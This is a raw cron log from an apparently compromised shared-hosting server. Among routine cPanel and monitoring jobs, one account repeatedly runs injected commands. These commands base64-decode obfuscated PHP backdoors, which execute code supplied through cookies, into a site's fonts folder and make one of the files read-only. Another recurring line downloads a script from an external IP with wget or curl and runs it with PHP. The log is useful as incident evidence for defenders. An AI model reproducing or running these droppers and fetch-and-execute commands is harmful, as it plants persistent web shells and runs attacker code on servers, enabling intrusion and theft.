Sep 12 06:06:02 ip-184-168-122-23 CROND[8479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:06:02 ip-184-168-122-23 CROND[8481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:06:02 ip-184-168-122-23 CROND[8484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:06:02 ip-184-168-122-23 CROND[8482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:06:02 ip-184-168-122-23 CROND[8485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:07:01 ip-184-168-122-23 CROND[8683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:07:01 ip-184-168-122-23 CROND[8685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:07:01 ip-184-168-122-23 CROND[8686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:07:01 ip-184-168-122-23 CROND[8687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:08:01 ip-184-168-122-23 CROND[8773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:08:01 ip-184-168-122-23 CROND[8775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:08:01 ip-184-168-122-23 CROND[8776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:08:01 ip-184-168-122-23 CROND[8777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:08:01 ip-184-168-122-23 CROND[8778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:09:01 ip-184-168-122-23 CROND[8875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:09:01 ip-184-168-122-23 CROND[8879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:09:01 ip-184-168-122-23 CROND[8878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:09:01 ip-184-168-122-23 CROND[8880]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 06:09:01 ip-184-168-122-23 CROND[8877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:10:01 ip-184-168-122-23 CROND[8975]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:10:01 ip-184-168-122-23 CROND[8979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:10:01 ip-184-168-122-23 CROND[8978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:10:01 ip-184-168-122-23 CROND[8980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:10:01 ip-184-168-122-23 CROND[8983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:10:01 ip-184-168-122-23 CROND[8981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:10:01 ip-184-168-122-23 CROND[8987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:10:01 ip-184-168-122-23 CROND[8986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:11:01 ip-184-168-122-23 CROND[9086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:11:01 ip-184-168-122-23 CROND[9089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:11:01 ip-184-168-122-23 CROND[9088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:11:01 ip-184-168-122-23 CROND[9091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:12:01 ip-184-168-122-23 CROND[9268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:12:01 ip-184-168-122-23 CROND[9270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:12:01 ip-184-168-122-23 CROND[9269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:12:01 ip-184-168-122-23 CROND[9271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:12:01 ip-184-168-122-23 CROND[9272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:13:01 ip-184-168-122-23 CROND[9370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:13:01 ip-184-168-122-23 CROND[9374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:13:01 ip-184-168-122-23 CROND[9372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:13:01 ip-184-168-122-23 CROND[9373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:14:01 ip-184-168-122-23 CROND[9511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:14:01 ip-184-168-122-23 CROND[9513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:14:01 ip-184-168-122-23 CROND[9514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:14:01 ip-184-168-122-23 CROND[9515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:14:01 ip-184-168-122-23 CROND[9517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9635]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:15:01 ip-184-168-122-23 CROND[9642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:15:01 ip-184-168-122-23 CROND[9640]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 06:16:01 ip-184-168-122-23 CROND[9767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:16:01 ip-184-168-122-23 CROND[9766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:16:01 ip-184-168-122-23 CROND[9770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:16:02 ip-184-168-122-23 CROND[9774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:16:02 ip-184-168-122-23 CROND[9777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:16:02 ip-184-168-122-23 CROND[9779]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:17:01 ip-184-168-122-23 CROND[9973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:17:01 ip-184-168-122-23 CROND[9976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:17:01 ip-184-168-122-23 CROND[9977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:17:01 ip-184-168-122-23 CROND[9975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:18:01 ip-184-168-122-23 CROND[10065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:18:01 ip-184-168-122-23 CROND[10067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
